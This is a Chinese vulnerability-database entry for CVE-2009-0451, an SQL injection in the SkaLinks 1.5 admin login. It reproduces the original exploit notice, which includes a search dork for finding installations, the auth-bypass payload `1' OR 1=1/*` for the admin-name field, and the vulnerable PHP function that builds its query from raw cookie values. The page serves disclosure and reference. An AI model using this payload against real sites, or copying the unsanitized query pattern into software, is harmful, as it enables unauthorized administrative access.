SkaLinks 管理登录 SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117320 漏洞类型 SQL注入
发布时间 2009-01-30 更新时间 2009-02-10
CVE编号 CVE-2009-0451 CNNVD-ID CNNVD-200902-219
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/7932
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-219
|漏洞详情
SkaLinks一款免费的链接交软件。SkalfaSkaLinks1.5版本存在SQL注入漏洞。远程攻击者可以借助对admin/下默认URL的管理员名字段，执行任意的SQL指令。
|漏洞EXP 
########################################
#                                      #
# Product : SkaLinks                   #
# Version : 1.5                        #
# Dork : Powered by SkaLinks           #
# Site: http://www.skalinks.com/       #
# Founded by: Dimi4                    #
# Date : 29.01.09                      #
# Greetz: antichat                     #
#                                      #
########################################

SQL-injection, Auth Bypass
[+] URL: http://target.com/skalinks_1_5/admin/
[+] Admin name : 1' OR 1=1/*

Bug Function:

 function IsAdmin( )
    {
        $table_name = $this->m_AdminsTable;
        $res = $this->db_Row( "SELECT * FROM `$table_name` WHERE `Name`='".$_COOKIE['adminname']."' AND `Password`='".$_COOKIE['pwd']."'");
        if ( !$res )
        {
            return 0;
        }
        else
        {
            return $res;
        }
    }
(c) Dimi4, 2009 greetz to antichat

# milw0rm.com [2009-01-30]
|参考资料

来源:BID
名称:33546
链接:http://www.securityfocus.com/bid/33546
来源:MILW0RM
名称:7932
链接:http://www.milw0rm.com/exploits/7932
检索漏洞
开始时间
结束时间
相关漏洞